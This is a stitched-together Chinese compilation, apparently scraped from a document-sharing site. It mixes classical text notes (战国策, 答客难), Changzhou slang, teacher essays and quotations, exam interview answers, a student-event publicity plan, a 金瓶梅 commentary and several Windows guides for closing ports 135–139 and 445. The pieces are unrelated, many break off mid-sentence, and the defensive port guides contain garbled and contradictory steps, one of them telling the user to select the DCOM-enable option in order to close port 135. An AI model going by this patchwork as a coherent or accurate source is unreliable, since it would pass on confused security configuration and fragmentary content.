使臣与说客导学案
曾巩作了订补。有东汉高诱注，今残缺。宋鲍彪改变原书次序，作新注。吴原师道作《校注》，近代人金正炜有《补释》，今人缪文远有《战国策新注》。
《战国策》是中国古代的一部
（《国语》是第一部）又称《国策》，也称《短长书》。为当时纵横
手动封闭137、138、139、445端口
手动封端口的操作： 1．闭137、138、139端口。右击-网上邻居-属性/本地连接-属性， 在microsoft网络客户端前的小勾去掉。接着也把microsoft网络的文件和打印机共享的小勾也去掉。 然后点击internet协议/(TCP/IP)--属性--高级--WINS--禁用TCP/IP上的 NETBIOS--确定。禁用lmhosts服务。
注意：对于多网卡设备为每一个网络连接都要进行同样设置。 2．关闭445端口 关闭445端口的方法有很多，通常用修改注册表的方法： 1) 在命令行窗口运行修改注册表命令RegEdit。 2) 在弹出的注册表编辑窗口的左边找到下面目录 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters 你可以一级一级目录往下点击，也可用“查找”命令找到NetBT项，然后点击 Parameters项。
3) 在编辑窗口的右边空白处点击鼠标右键，出现的“新建”菜单中选择 “DWORD值”，如下图所示： 修改注册表关闭不安全端口 4) 将新建的DWORD参数命名为“SMBDeviceEnabled”，数值为缺省的“0”。 5) 修改完后退出RegEdit，重启机器。 3．关闭135端口。禁用schedule服务，禁用MSDTC服务。 a)关闭135端口 一、单击”开始“——”运行“，输入”dcomcnfg“，单击”确定“，打开组件服务。 二、在弹出的”组件服务“对话框中，选择”计算机“选项。 三、在”计算机“选项右边，右键单击”的电脑“，选择”属性“. 四、在出现的”的电脑属性“对话框”默认属性“选项卡中，去掉”在此计算机上启用分布 式COM“前的勾。
最经典常州话
最经典常州话 说客-----------拖媒子 厉害-----------杀板 聊天-----------夏比精 牛B-----------老卵、大管管、管比 好-----------展刚 敲竹杠-----------鸣绅士 时髦话------------切口 没话找话说------------搭说话 人-----------比拧 老女人-----------老哈、蟹壳黄 年轻女人-----------塞心、小子妹、子子头花钱采购（娱乐）-------洋开销 蹦迪-------------摇头、嗨 吃饭-------------汉一顿、食葬 睡觉-------------躺死、捆高 说话不中听----------洋条幅，条幅 傻头傻脑-----------昂的路 傻货-------------昂三货 运气非常好----------扎嘘挟撒卵 有钱的傻子----------洋金帮、洋铅皮、葱头
土里土气-----------农民、农村户口、龙海生乡镇企业家----------龙老板、龙厂长 出卖色相的女人--------跳鸡 吸毒者-----------切死老 帅小伙-----------出美生 打手-----------开边生 赌徒-----------罗吧生 打架用的武器-----------古桑 枪----------------喷筒子 鬼头鬼脑---------十骨千千 刁钻-----------桥三列四 嘴不饶人-----------老比老调 结婚复宴-----------出款 奔丧-----------出棺材 赌博（沙哈）-------夹板，中张头 活动，内容-----------门子 寻找不特定人、物---------扳亮头，物色 男朋友---------罐头 找小老婆--------------噶姘头 顶嘴----------------接腔 挨打-----------------------切桑活
教师经典语录
捧出一颗心，献出全部情，严在当严处，爱在细微中。 让平凡的教室洒满阳光，让每个学生心中都有一片灿烂的阳光，用师者的胸怀去包容一颗颗年轻的心，用师者的爱心去铸造每个学生的辉煌 当学生对你说悄悄话的时候，你的教育就成功了 ●教育是科学，科学的价值在于创新；教育是艺术，艺术的魅力在于求真；教育是事业，事业的意义在于献身。 ●古人说过：“经师”易得，“人师”难求。人民教师区别于教书匠的根本，就在于他有育人的理 想和追求。 ●教师的劳动有三重收获：收获各类人才，能满足人们为社会尽责任、尽义务的需要；收获真挚的感情，能满足人们感情和谐、融洽的需要；收获科研成果，能满足人们研究、创造的 需要。 ●人民教师、班主任，他所培养的绝不仅仅是一些学生、一些花朵，那分明就是祖国的未来。就是使中华民族在这九百六十万平方公里的土地上强盛地延续下去、发展下去，屹立于世界 民族之林的未来。 ●教师最伟大的是，能在平凡的岗位上从事太阳底下最光辉的职业；教师最自豪的是，自己培养的学生远远超过了自己；教师最开心的是，满堂学生共同获得了成功的喜悦；教师最兴奋的是，含辛茹苦地耕耘，终于得到了相应的回报；教师最高明的是，能用自身智慧的光明，照亮学生无知的黑暗；教师最爽心的是，拥有清雅幽静，周边协调，人际和睦的教学环境；教师最动情的是，学生朝气蓬勃、茁壮成长，是自己看到了明天的希望，未来的辉煌；教师最遗憾的是，给学生造成刻骨铭心的伤害；教师最痛心的是，学生“冒天下之大不韪”，走向了社会的反面；教师最鄙视的是，不学无术，故作高深，炫耀权势，吹毛求疵的人；教师最伤感的是，自己的满腔热情得不到众人的理解；教师最不能容忍的是，苦耕获得的成果武断 地遭到破坏。 ●人本主义者认为；青少年的成长是由三维世界构成的：其一是对生活世界的认识、理解、融合，即学会生活；其二是对知识世界的认知、构建、积累，即学会学习；其三是对心灵世界的唤醒、感悟、完善，即学会做人。在这三维世界中，最重要的是学会学习、学会做人，从这个意义上说，“育人”才是学校教育的根本任务。 ●“知识就是力量”，这是哲学家培根提出的名言。这当然是一种真理性认识。但在我们看来：力量并不仅仅来源于知识，它更需要丰富、健康、理智的情感和正确的思想。情感和思 想也是力量。 ●人类本性中最深刻渴求得就是赞美。没有一个学生不想得到老师的赞美和期待。作为教师，我们要善于拿起表扬的武器，要利用“放大镜”和“定位器”来给学生找优点，用“扩音器” 和“互联网”给学生以积极的评价。
老师,请听我说
老师，请听我说 作为一名老师，我们是不是都有过这样的感受，如果一个学生经常犯同样的错误，屡教不改，我们会不经意间把他定格在那个位置，有时不愿意也没有耐心听他辩解，这样我们往往会伤害一颗稚嫩、纯真的心。 还记得那是新生入学的第一天，作为一年级班主任的我怀着无比期待的心情，像往常一样接待着一位位新生和家长，面对一张张可爱的笑脸，一双双充满灵气的大眼睛里透着稚气，听着他们一声声甜美的“老师好”，我的心情也格外的愉快。这时，一个穿着干净，个子高高，长相有些“与众不同”的小女孩出现在我的面前，直觉告诉我：这个孩子不正常。“快和老师问好。”她妈妈忙提醒着自己的女儿。只见她歪着头傻傻地笑了，半天才冒出只有仔细区分才勉强能听懂的三个字“老师好。”这更让我坚定了当初的判断：这个孩子的确不一般，从此这个叫小迪（化名）的女孩成了我班的一员。 一段时间的入学常规教育，班里的其他孩子几乎都懂得了学校的一些规矩。只有这个孩子听不懂话，上课不是在下面摸这摸那，就是偷偷地吃小食品，吃得满嘴、满脸都是，让人哭笑不得。有时还不时地逗同桌的小朋友，以至于班里的孩子没有人愿意和她坐在一起。无奈之下，我只好把她安排在和我的讲桌旁边，我们成了同桌。 尽管在我的眼皮底下，可她丝毫没有一点改观，我也曾几次耐心教育，可说了又犯。更令人头疼的是她还偷吃别的孩子带的食物，
拿别人的钱。“老师，小迪把我的牛奶偷喝了！”“老师，她把我的午饭吃了！”“我的糖被她吃了”…每天告她状的不下3人。事后，我也调查了一下，确有此事。有好几次，都被其他同学逮个正着。“这可怎么行！’”于是，我找她谈话，询问她为什么偷吃别的小朋友的东西，她支支吾吾地不知在说些什么，我也知道对于这样一个沟通都存在障碍的孩子，可能无法一下子就让她认识自己的错误。于是，每次她犯错误，我都不厌其烦的一次次教育，并和她的家长沟通，她妈妈很难为情，并对自己女儿的行为感到无奈，尽管如此，她也表示一定配合学校尽力教育自己的孩子，但效果也不是很好，只要班里有孩子吃的东西丢了，没有别人，一定是她。 上午第四节是一节体育课，孩子们都去上体育了，只有小迪和一个叫小雅的女孩在教室里。当时小迪妈妈说小迪那天有点发烧，而小雅是我派去看着她的。中午买午饭的一个孩子告诉我自己丢了5元钱。“一定是小迪干的，只有她上体育课没去。”孩子们异口同声地说。午休时间，我把她叫到办公室，问：“小迪，你今天体育课在教室里干什么了？”她轻轻地摇摇头，“老师说过多少次，不能随便拿别的小朋友的东西，你是不是又犯什么错误了？”她还是一个劲地摇头，我实在忍不住了，直奔主题严厉地说“你是不是把××同学的5元钱拿走了？”只见她歪着头，直直地看着我，真是被我一语道破，于是劈头盖脸地批评教育“告诉你多少次了，你怎么不长心呢？随便拿别人的东西是不礼貌的，偷别人东西的孩子不是好孩子。”“不是我拿的，是小雅拿的！”她大声争辩着，小脸也因为这一声，涨得通红。
高考经典议论性散文结构模式(典藏版)
高考经典议论性散文结构模式（典藏版）一、高考作文对结构的要求 清晰是高考作文结构的唯一标准。 结构是骨骼，语言、材料是血肉，没有骨骼，何谈血肉？ 一要“结构完整”，所谓“结构完整”是与“残缺破碎”相对而言的；二要“层次分明”，从文章的章法上说，好的文章结构要思路清晰，条理清楚，段落的划分和安排恰当，各个部分的布局合理，没有颠三倒四的现象。 常用论证方法：1、举例论证2、道理论证（引用名言属于道理论证） 3、对比论证（假设属于对比论证） 4、比喻论证 二、议论文整体结构 所谓的结构是指通过某种合理的论证方式把论点、论据有机地组合起来的方式。 核心结构：（所有议论文力图解决的为题） 引论本论结论 提出问题分析问题解决问题 是什么为什么怎么办（怎么样） 阐释概念分析原因寻求办法 总结议论文的一般性规律，结合古人的成功经验，可以总结为四个字：起、承、转、合。
起：就是引题、入题，就是结合给的话题，用极短的文字，迅 速抓住主旨、中心，迅速入题。优秀作文《公则生明》一文的“起”：朱镕基总理将“公则生明，廉则生威”这句话作为他的人生信条，于是，我们看见了一个公正无私、威严廉洁的高大形象。 承：就是结合论点、主旨，进行分析、论证，就是承接，就是对 论点进行延伸、进行思辨性分析。 转：就是借助事例，进一步“转入”说理、说事，进一步论证自 己树立的观点、认识。用事实说话，最好用两个方面的材料，一是古今中外的事例，可以选取一个事例评写，也可以用概括的几个事例。二是结合现实生活的事例来说理。总之，“转”就是结合“转入”的整合来论证自己的观点。如《公则生明》一文，用包拯、岳飞两个例子来证明观点。 合：就是进行总结、拓展。可以用名人的话，或用整齐的句子结尾。此外，可用简短的文字结尾。如《公则生明》一文的“合”：不论是故去的古人，还是现在的今人，只有做到公正无私，才能在一事物的认识上得到真理，才能在对事物的处理上得到赞美。感情上的偏私只能陷人于不分青红皂白，不辨是非之中，我们要坚决拒绝让感情主宰理智。// “公则生明”这句话犹在耳边回荡，让我们摒除感情的干扰，理智公正地处世为人吧！
宣传部宣传方案
北京理工大学珠海学院校园十佳歌手大赛 宣 传 策 划 主办单位：北京理工大学珠海学院机械与车辆工程学院赞助单位：待定 北京理工大学珠海学院机械与车辆工程学院 2010年11月15日
目录 一、宣传主题 (3) 二、宣传对象 (3) 三、宣传时间 (3) 四、宣传地点 (3) 五、宣传目的 (3) 六、宣传方式 (3) 七、可行性分析 (8) 八、经费预算 (9) 九、附录1 (10) 十、附录2 (10)
一、宣传主题：i·尚·成名曲 二、宣传对象：北京理工大学珠海学院全校师生 三、宣传时间：1、前期宣传及选手报名2010年11月1至11月11日 2、中期宣传 2010年11月11日至11月17日 3、后期宣传2010年11月18 日至2010年11月25日 四、宣传地点：学生第一饭堂、第二饭堂、第三饭堂、动感厅、教学楼、 机车楼、化工楼、图书馆、各学生宿舍、校道、荔枝园、篮球场、足球场、网球场、学校内的店（比较多人去的）。 五、宣传目的： 1.赋予该歌唱比赛活动操作最大化的核心附加价值，从而达到活动推广效 应的最大化。吸引更多的学生参加该项活动。 2.提升本学院在公众形象的档次，制造出本歌唱比赛明显的“唯一性”“权 威性”和“排他性”的特征。 3.打造出动感地带时尚、好玩、探索、属于自己、真我展现的品牌效应。 以求达到让消费者达到3个心理层上的满足：“用动感地带表达自己的性 格”、“用动感地带让自己与众不同”和“动感地带就应该属于我的”。 4.引起全校学生关注，为「i·尚·成名曲」这一主题造势，为动感这 一品牌造势，聚集学生目光，形成学校热点话题，形成市场销售热点。 5.提高动感推出的新业务的知名度，同事丰富学生的课余生活，为今后动 感地带推出的活动奠定坚实的基础。 六、宣传方式： 主要分三个阶段：前期、中期和后期。 前期宣传： 推广目标： 1.引起学生关注，为中、后期的宣传做铺垫。 2.初步奠定该歌唱比赛在学生心目中形象，档次。 3.吸引学生的好奇心，增加参赛人数。 4.为活动正式开始做好必要和详尽的准备。 5.让学生充分了解139说客的功能，熟悉掌握139说客这个平台。
词义的辨析
词语的辨析和使用 （一）近义词和反义词的认识，同义词和近义词的辨析与运用（词语的意义，试用对象和所指范围词语的感情色彩词语的语体色彩词义的轻重程度） （二）词语的感情色彩 （三）词语的语体色彩 （四）词义的轻重程度 （五）词语的恰当搭配和组合 （一）近义词和反义词 1.近义词的定义：近义词是词汇意义相同或相近的词语。近义词的近义词是：同义词 常见近义词：“美好”和“美妙”、“懒惰”和“怠惰”.“枯萎”与“干枯”“宽敞”与“宽阔”。“ 朴素——简朴尊重——敬重著名——闻名特殊——特别 坚强——顽强担任——担当简单——简洁清楚——清晰 饮——喝与——和憨厚（忠厚、老实）神秘（神奇、奇怪） 保存（储存积存）赞美（赞扬歌颂）透明（透亮晶莹）宛如（犹如好像） 一般（一样普通）映衬（衬托）神往（向往）越发（更加）雄伟（雄壮） 纯净（纯洁）壮丽（壮美）明洁（明净）装点（装饰）嘱咐（叮嘱） 奉献（贡献）回归（回来） 2.反义词的定义：和词语意义相反的是“反义词”。 常见反义词举例：真-假动-静拥护-反对春-秋黑-白高山-平地朴素——奢华特殊——一般激动——平静蔑视——重视传统——现代亲近——疏远紧张——轻松坚强——软弱清楚——模糊炎热——寒冷欢喜——难过宽阔——狭窄避暑——取暖谦虚―骄傲快乐―伤心 宽阔―狭窄强健―软弱清澈―浑浊明白―糊涂茂密―稀疏伸出―缩回成功―失败寒冷―温暖愤怒―高兴灵活―笨拙朋友―敌人温柔―粗暴 理解（误解）强烈（微弱）整体（部分）茁壮（瘦弱）、奉献（索取）得意（失意）吸引（排斥）纯净（污浊）迷惑（清醒）可爱（可憎）生机勃勃（死气沉沉）聚精会神（心不在焉）兴高采烈（无精打采） 在括号里填上加粗词的反义词，将句子补充完整。 （1）懒惰的结果是痛苦，（）的结果是（）。 （2）宁为玉碎，不为瓦（）
1、陶行知先生说过：“你的教鞭下有瓦特,你的冷眼里有
1、陶行知先生说过：“你的教鞭下有瓦特，你的冷眼里有牛顿，你的讥笑里有爱迪生。”作为老师的你同意此观点吗？请结合自己的教育实践谈谈您的感想和做法。 我非常认同陶行知先生的这个观点。在现实生活中，老师对“优等生”偏爱有加的情况很常见；而对“后进生”以冷眼、讥笑等相对的现象也不罕见。会以冷眼、讥笑等对待“后进生”的老师，首先是没有尊重学生个体差异性。他们认为在同一个班级学习，之所以会有“优等生”和“后进生”的区别，归因就是“后进生”头脑不够灵活，“后进生”只会给班里拖后腿，终究成不了大气候；再者是没有正确认识教育应面向全体，以“让每一个学生都发展得更好”为目标。老师的冷眼、讥笑，只会让“后进生”更加缺乏自信，把自己的优点慢慢地磨灭掉。我们只有平等对待学生，把爱倾注于每一位学生身上，才能让世界上出现更多像瓦特、牛顿这样的人才。 做一位爱学生的老师，我觉得至少要做到以下两点： 一、有爱就必须有耐心 特别是我们这些年轻的老师，在教学中比较缺乏耐心。当对差生进行辅导时，常常会因效率不高而抱怨。其实在我的教学中，也曾经有过这样一次经历，因辅导一位差生做题，总教不会，一句“你怎么那么蠢！”便不经意地从我口里说了出来。事后想起来，这样不仅不能让他变聪明，反而会深深影响到他幼小的心灵。所以我们应该对“后进生”更加有耐心。
二、有爱就必须多关注 大多数“后进生”之所以“后进”，大半与其家庭因素有关。所以我们要多与他们家长联系，取得家长的配合，共同促进孩子的发展。同时也要在细节中发现他们的闪光点，在众多同学中放大他们的优点，让他们从中找到自信和乐趣，说不定成绩也会因此而变得好起来。 总而言之，我认为要做一位合格的教育工作者，是绝对不能以冷眼、讥笑等对待学生的。
常用端口号与对应的服务以及端口关闭
常用端口号与对应的服务以及端口关闭 端口简介：本文介绍端口的概念，分类，以及如何关闭/开启一个端口 21端口：21端口主要用于FTP（File Transfer Protocol，文件传输协议）服务。 23端口：23端口主要用于Telnet（远程登录）服务，是Internet上普遍采用的登录和仿真程序。 25端口：25端口为SMTP（Simple Mail Transfer Protocol，简单邮件传输协议）服务器所开放，主要用于发送邮件，如今绝大多数邮件服务器都使用该协议。 53端口：53端口为DNS（Domain Name Server，域名服务器）服务器所开放，主要用于域名解析，DNS 服务在NT系统中使用的最为广泛。 67、68端口：67、68端口分别是为Bootp服务的Bootstrap Protocol Server（引导程序协议服务端）和Bootstrap Protocol Client（引导程序协议客户端）开放的端口。 69端口：TFTP是Cisco公司开发的一个简单文件传输协议，类似于FTP。 79端口：79端口是为Finger服务开放的，主要用于查询远程主机在线用户、操作系统类型以及是否缓冲区溢出等用户的详细信息。 80端口：80端口是为HTTP（HyperText Transport Protocol，超文本传输协议）开放的，这是上网冲浪使用最多的协议，主要用于在WWW（World Wide Web，万维网）服务上传输信息的协议。 99端口：99端口是用于一个名为“Metagram Relay”（亚对策延时）的服务，该服务比较少见，一般是用不到的。 109、110端口：109端口是为POP2（Post Office Protocol Version 2，邮局协议2）服务开放的，110端口是为POP3（邮件协议3）服务开放的，POP2、POP3都是主要用于接收邮件的。 111端口：111端口是SUN公司的RPC（Remote Procedure Call，远程过程调用）服务所开放的端口，主要用于分布式系统中不同计算机的内部进程通信，RPC在多种网络服务中都是很重要的组件。 113端口：113端口主要用于Windows的“Authentication Service”（验证服务）。 119端口：119端口是为“Network News Transfer Protocol”（网络新闻组传输协议，简称NNTP）开放的。 135端口：135端口主要用于使用RPC（Remote Procedure Call，远程过程调用）协议并提供DCOM（分布式组件对象模型）服务。
《答客难》原文及翻译
答客难 东方朔客难东方朔曰：“苏秦、张仪壹当万乘之主［1］，而身都卿相之位，泽及后世。今子大夫修先王之术，慕圣人之义；讽诵《诗》《书》百家之言，不可胜记；著于竹帛，唇腐齿落，服膺而不可释。好学乐道之效，明白甚矣。自以为智能海内无双，则可谓博闻辩智矣。然悉力尽忠，以事圣帝，旷日持久，积数十年，官不过侍郎，位不过执戟［2］。意者尚有遗行邪？同胞之徒，无所容居，其故何也？” 东方先生喟然长息，仰而应之，曰：是故非子之所能备。彼一时也，此一时也，岂可同哉？夫苏秦、张仪之时，周室大坏，诸侯不朝，力政争权，相擒以兵，并为十二国，未有雌雄，得士者强，失士者亡，故说得行焉。身处尊位，珍宝充内，外有仓凛，泽及后世，子孙长享。今则不然。圣帝德流，天下震慴，诸侯宾服，连四海之外以为带，安于覆盂。天下平均，合为一家。动发举事，犹运之掌。贤与不肖，何以异哉？遵天之道，顺地之理，物无不得其所。故绥之则安，动之则苦；尊之则为将，卑之则为虏；抗之则在青云之上，抑之则在深渊之下；用之则为虎，不用则为鼠。虽欲尽节效情，安知前后？夫天地之大，士民之众，竭精驰说，并进辐凑者不可胜数。悉力慕之，困于衣食，或失门户。使苏秦、张仪与仆并生于今之世，曾不得掌故，安敢望侍郎乎？传曰：“天下无害，虽有圣人，无所施才；上下和同，虽有贤者，无所立功。”故曰：“时异事异。” 虽然，安可以不务脩身乎哉？《诗》曰：“鼓钟于宫，声闻于外。”“鹤鸣九皋，声闻于天。”苟能脩身，何患不荣？太公体行仁义，七十有二，乃设用于文武，得信厥说，封于齐，七百岁而不绝。此士所以日夜孳孳，脩学敏行而不敢怠也。譬若鹡鸰，飞且鸣矣。传曰：“天不为人之恶寒而辍其冬，地不为人之恶险而辍其广，君子不为小人之匈匈而易其行。天有常度，地有常形，君子有常行。君于道其常，小人计其功。《诗》云：‘礼义之不愆，何恤人之言？’”“水至清则无鱼，人至察则无徒。冕而前旒，所以蔽明；黈纩充耳［3］，所以塞聪。”明有所不见，聪有所不闻。举大德，赦小过，无求备于一人之义也。“枉而直之，使自得之；优而柔之，使自求之；揆而度之，使自索之。”盖圣人之教化如此［4］，欲其自得之。自得之，则敏且广矣。 今世之处士，时虽不用，块然无徒，廓然独居，上观许由［5］，下察接舆［6］，计同范蠡［7］，忠合子胥［8］，天下和平，与义相扶。寡偶少徒，固其宜也。子何疑于予哉？若夫燕之用乐毅［9］，秦之任李斯［10］，郦食其之下齐［11］，说行如流，曲从如环；所欲必得，功若丘山，海内定，国家安：是遇其时者也。子又何怪之邪？语曰：以管窥天，以蠡测海，以莛撞钟。岂能通其条贯，考其文理，发其音声哉？犹是观之，譬由鼱鼩之袭狗［12］，孤豚之咋虎，至则靡耳，何功之有？今以下愚而非处士，虽欲勿困，固不得已。此适足以明其不知权变而终惑于大道也。 ——《文选》卷四十五［1］苏秦、张仪：战国纵横家。苏秦主合纵，张仪主连横。 ［2］执戟：指执戟侍从的官。 ［3］黈（音偷上声）纩：黄色丝绵，悬于冕之两边。 ［4］圣人：指孔子。前所引诸语皆孔子所云。见《大戴礼记·子张问入官》。 ［5］许由：尧时隐士。尧让天下，不受，隐于颖水之滨。 ［6］接舆：孔子时隐士。曾狂歌讥孔子，称楚狂。 ［7］范蠡：越王谋臣，助勾践灭吴后，退隐五湖。 ［8］子胥：伍子胥，吴王夫差忠臣，被杀。 ［9］乐毅：燕昭王战将，曾破齐，称雄一时。 ［10］李斯：秦始皇时为丞相。
老师,你真幽默
龙源期刊网 https://www.360docs.net/doc/b613356450.html, 老师，你真幽默 作者：李永寿 来源：《云南教育·小学教师》2017年第02期 下课了，刚走出教室，一个男生跑到我面前对我说：“老师，上你的课真好玩，你讲课真幽默，一点儿都不累……”我一愣，机械地说了声“谢谢”。回到办公室，回想孩子的话，想到一个问题：怎样才能让学生喜欢老师上的课呢？孔夫子说：“言之无文，行而不远。”意思是，说话如果没有文采，不讲艺术性，就不能打动人，因而也不能广泛、长远地流传。教师的语言不仅要讲求科学性、规范性，还要讲求艺术性。如果教师的语言能在准确鲜明、简洁明了的基础上做到风趣幽默，就会让学生有“上你的课真好玩，一点儿都不累”的感觉。下面我结合自己的教学实践，谈谈自己对课堂幽默语言的使用和看法。 一、教学语言要幽默、机智 教学语言的妙趣横生，不仅能让学生在轻松愉快的氛围中获取知识，也能让学生与教师的关系更加融洽。教师在讲课时，如果一味板起面孔，提高嗓门，是难以拨动学生心弦，激发他们的兴趣和热情的。教师一定要根据教学内容和当时具体的教学情境，适当穿插些幽默的话语，活跃课堂气氛，提高教学效果。例如，我在讲解“利息”一节时，有一名女生竟在课堂上做语文作业，我看到了，并没有直接点名制止，而是幽默地说：“我还以为人民币是有魅力的，但是在座的同学中就有不为金钱所诱惑，仍然在孜孜不倦地追求她的语文知识的。”这一番话，使同学们都笑了，那位女生也收起语文作业，专心听课。教师的幽默既教育了学生，又活跃了课堂气氛，取得了较好的教学效果。 二、幽默的课堂语言能调节课堂气氛，缩短师生之间的距离 俗话说：万事开头难。特别是新接手的班级，师生彼此陌生。针对这种情况，教师几句幽默的开场白便能调节这种紧张的气氛，缩短师生间的心理距离，使学生的畏惧感顿消，愿意与教师配合。学生活动积极了，主体作用得以发挥，教师讲课便如顺水行舟。有些青年教师在教材上下了很大功夫，但对自己的教学语言却研究甚少，结果课上得很吃力，好比逆水行舟。现代学生思维活跃，情感丰富，不轻信、不盲从，善于标新立异，敢于坚持己见。他们喜欢博学多才、热情开朗、平易近人又具有高超讲话艺术的教师，不喜欢正襟威“言”、不苟言笑、古板冷漠又缺乏讲话技巧的先生。有一次钱梦龙老师上示范课，开始，课堂气氛严肃紧张。钱老师走上讲台后，微笑着说：“我请大家猜个谜，虽然发了财，夜夜想成才（财），打一人名。”此语一出，就如一块石子投入平静的湖中，它激起了学生的好奇心和探究欲，活跃了课堂气氛，缩短了师生间的距离。同学们积极思考着，一会儿，一名同学举手回答：“钱梦龙。”顿时全场欢笑雀跃起来，这个幽默，既扫除了原先的紧张气氛，又拉近了师生距离，让学生觉得钱老师幽默风趣、可亲可敬，跟这样的老师学习一定是一件轻松愉快的事。
服务器135137138139445等端口解释和关闭方法
服务器135、137、138、139、445等端口解释和关闭方法 在服务器中，3389端口的开放是必需的，因为任何服务器的管理员如果想很好地管理自己的服务器，都需要开启这种方便的网络管理服务。不过3389端口一旦开启，必然会引来无数黑客，即便那些黑客破解不了密码，也很可能占用你的连接请求数，使你无法登录自己的服务器。 关闭服务器中的3389端口的方法很简单。在windows2000或2003中，进入控制面板，然后选择“管理工具”中的“服务”，在弹出的服务列表中，选中“Terminal Services”，将该服务的启动类型改为“手动”，然后停止这个服务就可关闭3389 端口了。 在windows XP中被黑客悄悄开启远程协作的现象也不是没有发生过。可以右键点击“我的电脑”，进入“系统属性”窗口中的“远程”选项卡界面，取消对“远程桌面”和“远程协作”选择，再单击确定即可关闭3389端口。135端口： 利用135端口的黑客想要得到管理员的宇航局码和口令，过程往往是很简单，他们似乎部有自己的方法和手段。关闭135端口，停止可能被黑客利用的RPC服务，不给他们任何能够利用系统弱点的机会。 但单纯地将RPC服务停止会对某些网络用户造成不必要的麻烦。在网络中，只有使用微软DCOM技术的程序才会调
用RemoteProcedure Call，也就是135端口服务，所以在面临这个问题时，将DCOM服务停止是最好的方法。 首先点击“开始”菜单，在“运行”里输入dcomcnfg.exe命令，在弹出的设置窗口中选择“默认设置”标签选项，然后点击选择此选项页面中的“在这台计算机上启用分布式COM”选项，最后点击确定完成。这样你就可以很好地保护你的电脑了，任何黑客都无法对你电脑中的DCOM服务和DCOM应用程序进行远程操作与访问，达到了既不关闭又能够停止135端口，让黑客放弃攻击你的目的。137、138端口： 在关闭137和138端口之前，先介绍一下NetBIOS服务。很多人认为NetBIOS服务是一个网络协议，其实不然。NetBIOS只是网络基本的输入/输出系统，是一个应用于程序接口，用于数据源与目的地之间的数据交换。不过它所包含的端口及一些命名原则属于OSI(Open System Interconnection)模式的上三层，与低层的通讯协议是全然独立的。因此NetBIOS服务能够成功地建构于不同的通讯协议上，让它支持访问计算机应用程序和设备通信时所要用到各种服务。正是由于考虑到了NetBIOS服务这种基于TCP/IP 协议下的特点，而NetNBIOS又完全依靠137、138端口支撑，因此如果停止了NetBIOS，就能够将137和138端口的危险根除。 停止NetBIOS方法很简单，鼠标右击桌面上的“网上邻居”图
2015年教师资格面试结构化试题及参考答案(中小学)
2015年教师资格面试结构化试题及参考答案（中小学） 1、问题：请谈谈你为什么选择当一名老师? 做一名光荣的人民教师一直以来是我的梦想，也是我最真实的理想。我报考教师这个岗位，并不是因为听了“教师是太阳底下最光辉的职业”这句话，而是因为我非常热爱这个充满奉献精神、充满挑战的职业，因为在这个行业平台上有着可爱的孩子、令人敬佩的同事们，他们都会成为我人生路上不可磨灭的一笔财富。 具体来说，我选择参加教师招考，进入教师队伍的原因有以下几点： 首先，教师这一职业符合我的人生规划，早在年少时我就立志要做一名老师，所以在读大学时我义无反顾地选择了师范院校(可根据自身情况展开)。 其次，我的知识储备符合做一名老师的要求，在四年的大学生涯中我积累了很多教育理论知识和学科专业知识，这些都为我成为一名教师打下了坚实的理论基础;在大学期间我参加过多次支教活动，前往贵州、云南等地的偏远地区，与那里的孩子们进行过深入交流，这些经历让我看到了孩子们对知识的渴望，也让我深深地体会到了作为一名教师的真正价值，我也在此过程中积累了一定的教学经验、学会了很多与孩子们相处的方法和技巧;此外，从大二开始我就做兼职任家教，获得了很多的经验。我想这些经历都能够为我将来从事教师工作、将工作做好提供很多实践经验。 最后，我的性格也很适合做老师，我很喜欢和孩子们相处，做事有耐心、有毅力，这些也都符合教师的职业特点。通过对自我的深度剖析，我认为我是适合做老师的，所以我来参加此次考试，希望能够有幸走上讲台。 2、热点试题：某中学老师教师节未收到礼物骂学生一节课，学生无奈现场凑钱为老师买礼物。对此，你怎么看? 设置教师节的宗旨就是提高人们对教师为教育事业所做贡献的认识和评价。中国有悠久的尊师重道传统，古代就有“人有三尊，君、父、师”的说法。《吕氏春秋?尊师》云：“生则谨养，死则敬祭，此尊师之道也。”《师说》中：“师者，所以传道授业解惑也。”在中国几千年的历史中，“师”，总是受人尊敬，被人爱戴的。对于题目当中教师因教师节没有收到学生礼物，而训了学生足足一节课的事件，实在让我对这位老师的言行表示汗颜。 首先，这位教师的行为有悖于《教育部关于印发<严禁教师违规收受学生及家长礼品礼金等行为的规定>的通知》和《教育部关于印发<中小学教师违反职业道德行为处理办法>的通知》文件规定。该教师也很难从恶名中脱离出来，而且她的言行必定会受到社会与公众的审判。 其次，除了给予该教师行政记大过处分、追究相关领导的责任外，教育行政部门的有力监管才是真正约束住那些触犯师德红线的法宝，让教师能自觉拒收礼品礼金，让其自身能少点借送礼攀比与投机的心理，让教师节真正回归“尊师重教”。 最后，对任何有职业操守的教师来说，最珍贵的礼物莫过于学生对教师的感恩，而不是一种简单的物质给予。因此，教师节的礼物，可以是学生自制的贺卡，也可以是写给老师的一首诗，画的一幅画等。这些礼物可能是稚嫩的、朴拙的，但它代表的是学生的心声，收获的也必然是师生之间的美好情谊与师道尊严。 3、问题：你是新入职的老师，但是该校同事关系比较复杂，你怎么办? 不论何种职业，同事关系始终是人际关系中最重要的一种。工作的效果、心情，事业的成功、顺畅，很大程度上都受着同事关系的影响。而教师工作作为协作性较强的职业，更需
金诗赏析：这个王婆不简单
金诗赏析：这个王婆不简单 这个王婆不简单——金瓶梅》第二回是怎样描写王婆的《金瓶梅》插图第二回假意要揭发西门庆与潘金莲偷情的王婆王婆是小说《水浒传》和《金瓶梅》中的人物，在《金瓶梅》中，王婆贪财的形象有了更深入的描写，她做什么事始终都是出于贪婪，每行一步，都把它当作一桩生意来做。 王婆是山东清河县人氏，家住紫石街武大郎家隔壁，在家开一个茶坊，兼做媒婆、接生婆等工作。 她从中牵线，制造了潘金莲与西门庆的邂逅，为西门庆设计勾引潘金莲，借自家作为二人的通奸场所，在武大郎捉奸被西门庆踢伤后，又设计杀害武大郎。 王婆在促成西门庆与潘金莲的通奸苟合上，有理论，有步骤，有技巧。 在《金瓶梅》第三回定挨光王婆受贿设圈套浪子私挑里，王婆有句名言：潘驴邓小闲。 王婆道：大官人，你听我说：但凡‘挨光’的两个字最难。 怎的是‘挨光’？比如如今俗呼‘偷情’就是了。 要五件事俱全，方才行的。 第一要潘安的貌；第二要驴大行货；第三要邓通般有钱；第四要青春少小，就要绵里针一般软款忍耐；第五要闲工夫。 此五件，唤做‘潘驴邓小闲’。
